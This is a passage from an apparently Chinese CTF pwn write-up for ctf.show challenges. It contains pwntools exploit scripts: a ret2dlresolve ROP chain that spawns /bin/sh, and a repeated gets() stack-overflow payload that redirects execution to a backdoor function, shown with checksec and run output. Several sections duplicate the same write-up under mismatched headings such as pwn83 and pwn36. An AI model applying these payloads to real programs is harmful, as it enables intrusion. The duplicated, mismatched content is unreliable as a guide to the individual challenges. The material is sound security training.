class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment">#io = process(&quot;./pwn&quot;)</span></span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,28291)</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">io.recvuntil(<span class="string">&#x27;Welcome to CTFshowPWN!\n&#x27;</span>)</span><br><span class="line">offset = 112</span><br><span class="line">rop.raw(offset*<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">rop.read(0,0x08049804+4,4) <span class="comment"># modify .dynstr pointer in</span></span><br><span class="line">.dynamic section to a specific location</span><br><span class="line">dynstr = elf.get_section_by_name(<span class="string">&#x27;.dynstr&#x27;</span>).data()</span><br><span class="line">dynstr = dynstr.replace(<span class="string">&quot;read&quot;</span>,<span class="string">&quot;system&quot;</span>)</span><br><span class="line">rop.read(0,0x080498E0,len((dynstr))) <span class="comment"># construct a fake dynstr</span></span><br><span class="line">section</span><br><span class="line">rop.read(0,0x080498E0+0x100,len(<span class="string">&quot;/bin/sh\x00&quot;</span>)) <span class="comment"># read /bin/sh\x00</span></span><br><span class="line">rop.raw(0x08048376) <span class="comment"># the second instruction of</span></span><br><span class="line"><span class="built_in">read</span>@plt</span><br><span class="line">rop.raw(0xdeadbeef)</span><br><span class="line">rop.raw(0x080498E0+0x100)</span><br><span class="line"><span class="comment"># print(rop.dump())</span></span><br><span class="line">assert(len(rop.chain())&lt;=256)</span><br><span class="line">rop.raw(<span class="string">&quot;a&quot;</span>*(256-len(rop.chain())))</span><br><span class="line">io.send(rop.chain())</span><br><span class="line">io.send(p32(0x080498E0))</span><br><span class="line">io.send(dynstr)</span><br><span class="line">io.send(<span class="string">&quot;/bin/sh\x00&quot;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 872</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor <span class="built_in">functions</span> here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn83-ret2dlresolve-32-位-Partial-RELRO"><a href="#pwn83-ret2dlresolve-32-位-Partial-RELRO" class="headerlink" title="pwn83(ret2dlresolve,32 位 Partial-RELRO)"></a>pwn83(ret2dlresolve,32 位 Partial-RELRO)</h2><p>Hint：存在后门函数，如何利用？</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting local process &#x27;./pwn&#x27;: pid 872</span><br><span class="line">[*] &#x27;/CTFshow_pwn/pwn&#x27;</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor functions here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn36-1"><a href="#pwn36-1" class="headerlink" title="pwn36"></a>pwn36</h2><p>Hint：存在后门函数，如何利用？</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 872</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor <span class="built_in">functions</span> here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn36-2"><a href="#pwn36-2" class="headerlink" title="pwn36"></a>pwn36</h2><p>Hint：存在后门函数，如何利用？</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B60);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Stack_Overflow                                          &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : There are backdoor functions here!                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Find and use it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter what you want: &quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。</p><p>还在程序中找到了get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag=elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x28</span>+<span class="number">4</span>)+p32(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 872</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor <span class="built_in">functions</span> here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn36-3"><a href="#pwn36-3" class="headerlink" title="pwn36"></a>pwn36</h2><p>Hint：存在后门函数，如何利用？</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804883C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488B0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804892C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489B8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A48);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048ACC);</span><br><span class="line">  <span 